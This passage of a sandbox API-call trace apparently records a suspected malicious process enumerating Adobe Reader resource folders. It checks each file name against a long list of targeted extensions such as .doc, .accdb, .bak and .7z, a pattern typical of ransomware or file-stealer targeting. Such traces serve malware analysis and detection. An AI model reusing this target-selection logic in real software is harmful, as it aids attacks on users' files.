lpString2="s.js") returned -1 [0262.160] lstrlenW (lpString=".jpg") returned 4 [0262.160] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.160] lstrlenW (lpString=".jpx") returned 4 [0262.160] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.160] lstrlenW (lpString=".js") returned 3 [0262.160] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.161] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.161] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0262.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.161] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0262.161] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es") returned 105 [0262.161] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es") returned 1 [0262.161] lstrlenW (lpString="es-es") returned 5 [0262.161] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1 [0262.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.161] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es") returned 105 [0262.161] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0262.161] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.162] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.162] lstrlenW (lpString="ui-strings.js") returned 13 [0262.162] lstrlenW (lpString=".1cd") returned 4 [0262.162] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.162] lstrlenW (lpString=".3ds") returned 4 [0262.162] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.162] lstrlenW (lpString=".3fr") returned 4 [0262.162] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.162] lstrlenW (lpString=".3g2") returned 4 [0262.162] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.162] lstrlenW (lpString=".3gp") returned 4 [0262.162] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.162] lstrlenW (lpString=".7z") returned 3 [0262.162] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.162] lstrlenW (lpString=".accda") returned 6 [0262.162] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.162] lstrlenW (lpString=".accdb") returned 6 [0262.162] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.162] lstrlenW (lpString=".accdc") returned 6 [0262.162] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.162] lstrlenW (lpString=".accde") returned 6 [0262.162] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.163] lstrlenW (lpString=".accdt") returned 6 [0262.163] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.163] lstrlenW (lpString=".accdw") returned 6 [0262.163] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.163] lstrlenW (lpString=".adb") returned 4 [0262.163] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".adp") returned 4 [0262.163] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".ai") returned 3 [0262.163] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.163] lstrlenW (lpString=".ai3") returned 4 [0262.163] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".ai4") returned 4 [0262.163] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".ai5") returned 4 [0262.163] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".ai6") returned 4 [0262.163] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".ai7") returned 4 [0262.163] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".ai8") returned 4 [0262.163] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".anim") returned 5 [0262.163] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.163] lstrlenW (lpString=".arw") returned 4 [0262.163] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.163] lstrlenW (lpString=".as") returned 3 [0262.164] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.164] lstrlenW (lpString=".asa") returned 4 [0262.164] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".asc") returned 4 [0262.164] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".ascx") returned 5 [0262.164] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.164] lstrlenW (lpString=".asm") returned 4 [0262.164] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".asmx") returned 5 [0262.164] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.164] lstrlenW (lpString=".asp") returned 4 [0262.164] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".aspx") returned 5 [0262.164] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.164] lstrlenW (lpString=".asr") returned 4 [0262.164] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".asx") returned 4 [0262.164] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".avi") returned 4 [0262.164] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".avs") returned 4 [0262.164] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.164] lstrlenW (lpString=".backup") returned 7 [0262.164] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.164] lstrlenW (lpString=".bak") returned 4 [0262.165] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".bay") returned 4 [0262.165] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".bd") returned 3 [0262.165] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.165] lstrlenW (lpString=".bin") returned 4 [0262.165] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".bmp") returned 4 [0262.165] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".bz2") returned 4 [0262.165] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".c") returned 2 [0262.165] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.165] lstrlenW (lpString=".cdr") returned 4 [0262.165] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".cer") returned 4 [0262.165] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".cf") returned 3 [0262.165] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.165] lstrlenW (lpString=".cfc") returned 4 [0262.165] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".cfm") returned 4 [0262.165] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.165] lstrlenW (lpString=".cfml") returned 5 [0262.166] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.166] lstrlenW (lpString=".cfu") returned 4 [0262.166] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".chm") returned 4 [0262.166] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".cin") returned 4 [0262.166] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".class") returned 6 [0262.166] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.166] lstrlenW (lpString=".clx") returned 4 [0262.166] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".config") returned 7 [0262.166] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.166] lstrlenW (lpString=".cpp") returned 4 [0262.166] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".cr2") returned 4 [0262.166] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".crt") returned 4 [0262.166] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".crw") returned 4 [0262.166] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.166] lstrlenW (lpString=".cs") returned 3 [0262.166] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.166] lstrlenW (lpString=".css") returned 4 [0262.166] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".csv") returned 4 [0262.167] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".cub") returned 4 [0262.167] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dae") returned 4 [0262.167] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dat") returned 4 [0262.167] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".db") returned 3 [0262.167] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.167] lstrlenW (lpString=".dbf") returned 4 [0262.167] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dbx") returned 4 [0262.167] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dc3") returned 4 [0262.167] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dcm") returned 4 [0262.167] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dcr") returned 4 [0262.167] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".der") returned 4 [0262.167] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dib") returned 4 [0262.167] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.167] lstrlenW (lpString=".dic") returned 4 [0262.168] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.168] lstrlenW (lpString=".dif") returned 4 [0262.168] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.168] lstrlenW (lpString=".divx") returned 5 [0262.168] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.168] lstrlenW (lpString=".djvu") returned 5 [0262.168] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.168] lstrlenW (lpString=".dng") returned 4 [0262.168] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.168] lstrlenW (lpString=".doc") returned 4 [0262.168] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.168] lstrlenW (lpString=".docm") returned 5 [0262.168] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.168] lstrlenW (lpString=".docx") returned 5 [0262.168] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.168] lstrlenW (lpString=".dot") returned 4 [0262.168] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.168] lstrlenW (lpString=".dotm") returned 5 [0262.168] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.168] lstrlenW (lpString=".dotx") returned 5 [0262.168] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.168] lstrlenW (lpString=".dpx") returned 4 [0262.168] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.168] lstrlenW (lpString=".dqy") returned 4 [0262.168] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.168] lstrlenW (lpString=".dsn") returned 4 [0262.169] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".dt") returned 3 [0262.169] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.169] lstrlenW (lpString=".dtd") returned 4 [0262.169] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".dwg") returned 4 [0262.169] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".dwt") returned 4 [0262.169] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".dx") returned 3 [0262.169] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.169] lstrlenW (lpString=".dxf") returned 4 [0262.169] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".edml") returned 5 [0262.169] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.169] lstrlenW (lpString=".efd") returned 4 [0262.169] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".elf") returned 4 [0262.169] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".emf") returned 4 [0262.169] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".emz") returned 4 [0262.169] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.169] lstrlenW (lpString=".epf") returned 4 [0262.170] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.170] lstrlenW (lpString=".eps") returned 4 [0262.170] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.170] lstrlenW (lpString=".epsf") returned 5 [0262.170] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.170] lstrlenW (lpString=".epsp") returned 5 [0262.170] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.170] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.170] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0262.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.171] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0262.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.171] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0262.171] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.171] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.171] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.171] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0262.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.171] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0262.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.172] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0262.172] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.172] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.172] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.172] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0262.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.172] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0262.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.172] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0262.172] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.172] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.173] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.173] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0262.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.173] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | 